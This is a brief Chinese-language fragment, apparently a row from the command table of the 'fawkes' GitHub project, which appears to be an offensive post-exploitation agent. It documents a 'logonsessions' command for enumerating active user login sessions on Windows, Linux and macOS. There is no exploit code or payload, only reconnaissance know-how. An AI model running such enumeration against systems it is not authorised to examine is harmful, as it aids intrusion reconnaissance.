logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **（Windows、Linux、macOS）** 枚举活动登录会话——用户、会话ID、工作站、连接状态。按用户名过滤。Windows：WTS API。Linux：utmp解析。macOS：utmpx解析。
```
---
[Read more](https://github.com/galoryber/fawkes)